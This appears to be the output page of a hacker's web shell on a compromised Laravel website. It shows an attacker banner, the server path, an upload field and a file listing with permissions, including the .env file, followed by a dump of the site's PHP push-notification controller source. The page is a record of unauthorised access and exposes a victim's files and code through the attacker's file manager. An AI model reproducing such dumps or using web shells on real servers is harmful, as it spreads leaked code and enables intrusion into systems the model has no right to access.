I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
push_notification_config ?? null; $broadcast_config = BasicSettingsProvider::get()->broadcast_config ?? null; return view('admin.sections.push-notification.config', compact( 'page_title', 'push_notification', 'broadcast_config' )); } /** * Display The Push Notification Send Page * * @return view * */ public function index() { $page_title = __("Send Notification"); $notifications = PushNotificationRecord::orderByDesc("id")->paginate(10); return view('admin.sections.push-notification.send', compact( 'page_title', 'notifications', )); } /** * Function for send push notification * @param \Illuminate\Http\Request $request * @return method */ public function send(Request $request) { $vlaidator = Validator::make($request->all(),[ 'title' => 'required|string|max:40', 'body' => 'required|string|max:80', ]); $validated = $vlaidator->validate(); $basic_settings = BasicSettingsProvider::get(); if(!$basic_settings) { return back()->with(['error' => ['Opps! Basic settings not found!']]); } if(!$basic_settings->push_notification_config) { return back()->with(['error' => ['Sorry! You have to configure first to send push notification.']]); } $saved_method = $basic_settings->push_notification_config->method ?? null; if($saved_method == null) { return back()->with(['error' => ['Please configure your push notification with valid credentials.']]); } $methodDristribute = [ 'pusher' => "sendNotificationWithPusher", // 'firebase' => "sendNotificationWithFirebase", // 'one-signal' => "sendNotificationWithOneSignal", ]; if(!array_key_exists($saved_method,$methodDristribute)) { abort(404); } $distribute_method_name =$methodDristribute[$saved_method]; return $this->$distribute_method_name($validated); } /** * Function for send push notification via Pusher(Message Bird) * @param array $data * @return back URL */ public function sendNotificationWithPusher($data) { $basic_settings = BasicSettingsProvider::get(); if(!$basic_settings) { return back()->with(['error' => ['Opps! Basic settings not found!']]); } $notification_config = $basic_settings->push_notification_config; if(!$notification_config) { return back()->with(['error' => ['Sorry! You have to configure first to send push notification.']]); } $instance_id = $notification_config->instance_id ?? null; $primary_key = $notification_config->primary_key ?? null; if($instance_id == null || $primary_key == null) { return back()->with(['error' => ['Sorry! You have to configure first to send push notification.']]); } $notification = new PushNotifications( array( "instanceId" => $notification_config->instance_id, "secretKey" => $notification_config->primary_key, ) ); $notification_data = [ 'title' => $data['title'] ?? "", 'body' => $data['body'] ?? "", 'icon' => get_fav($basic_settings), ]; // Get all users/admins ids $admins_id = Admin::all()->map(function($data) { return "admin-".$data->id. ""; })->toArray(); $users_id = User::all()->map(function($data){ return "user-".$data->id. ""; })->toArray(); $publisher_ids = array_merge($users_id,$admins_id); $ids_plot = array_chunk($publisher_ids,900); try{ foreach($ids_plot as $item) { $response = $notification->publishToUsers( $item, [ "web" => [ "notification" => $notification_data, ], ], ); sleep(2); } }catch(Exception $e){ return back()->with(['error' => ['Something went wrong Please try again.']]); } // Insert notification record to database try{ $push_notification_record = [ 'method' => "pusher", 'response' => $response, 'message' => $notification_data, 'send_by' => Auth::user()->id, ]; PushNotificationRecord::create($push_notification_record); }catch(Exception $e) { return back()->with(['error' => ['Opps! Faild to store information.']]); } return back()->with(['success' => ['Notification sended successfully!']]); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request) { $vlaidator = Validator::make($request->all(),[ 'method' => 'required|string|in:pusher', 'instance_id' => 'required_if:method,pusher', 'primary_key' => 'required_if:method,pusher', ]); $validated = $vlaidator->validate(); $accept_fields = [ 'pusher' => ['instance_id','primary_key'], 'firebase' => ['server_key'], 'one-signal' => ['server_key'], ]; $data = []; foreach($validated as $form_input => $item) { foreach($accept_fields as $method_name => $values) { if($validated['method'] == $method_name) { $data['method'] = $validated['method']; foreach($values as $value) { $data[$value] = $validated[$value] ?? null; } break; } } } $basic_settings = BasicSettings::first(); if(!$basic_settings) { return back()->with(['error' => ['Opps! Basic setting not found!']]); } try{ // Update Push notification config $basic_settings->update([ 'push_notification_config' => $data, ]); }catch(Exception $e) { return back()->with(['error' => ['Something went wrong Please try again.']]); } return back()->with(['success' => ['Push notification configuration updated successfully!']]); } }